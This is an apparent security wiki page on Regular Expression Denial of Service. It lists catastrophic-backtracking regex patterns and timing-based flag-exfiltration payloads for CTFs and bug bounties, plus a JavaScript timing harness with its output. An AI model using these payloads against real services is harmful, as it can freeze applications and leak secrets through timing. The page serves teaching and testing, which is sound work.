# Regular expression Denial of Service - ReDoS

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# Regular Expression Denial of Service (ReDoS)

The Regular Expression Denial of Service (ReDoS) is a type of Denial of Service attack that **takes advantage of the inefficiencies in regular expression implementations**. Most regular expression engines can encounter extreme situations where they **perform very slowly, often exponentially related to the input size**. By exploiting this, an attacker can cause a program using regular expressions to hang for an extended period of time.

## The Problematic Regex Naïve Algorithm

**Check the details in [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**


## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>

An evil regular expression pattern refers to one that can **get stuck on crafted input**. Evil regex patterns typically contain grouping with repetition and repetition or alternation with overlapping inside the repeated group. Some examples of evil patterns include:

* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} for x > 10

All the above are susceptible to the input `aaaaaaaaaaaaaaaaaaaaaaaa!` (The minimum input length might change slightly, when using faster or slower machines).

## ReDoS Payloads

### String Exfiltration via ReDoS

In a CTF (or bug bounty) maybe you **control the Regex a sensitive information (the flag) is matched with**. Then, if might be useful to make the **page freeze (timeout or longer processing time)** if the a **Regex matched** and **not if it didn't**. This way you will be able to **exfiltrate** the string **char by char**:

* In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=<flag>)((.*)*)*salt$`
  * Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`
* In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`

### ReDoS Controlling Input and Regex

The following are **ReDoS** examples where you **control** both the **input** and the **regex**:

```javascript
function check_time_regexp(regexp, text){
    var t0 = new Date().getTime();;
    new RegExp(regexp).test(text);
    var t1 = new Date().getTime();;
    console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
    "(a|a?)+$",
    "(\\w*)+$",   //Generic
    "(a*)+$",
    "(.*a){100}$",
    "([a-zA-Z]+)*$", //Generic
    "(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```

## Tools

* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)

# References
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)

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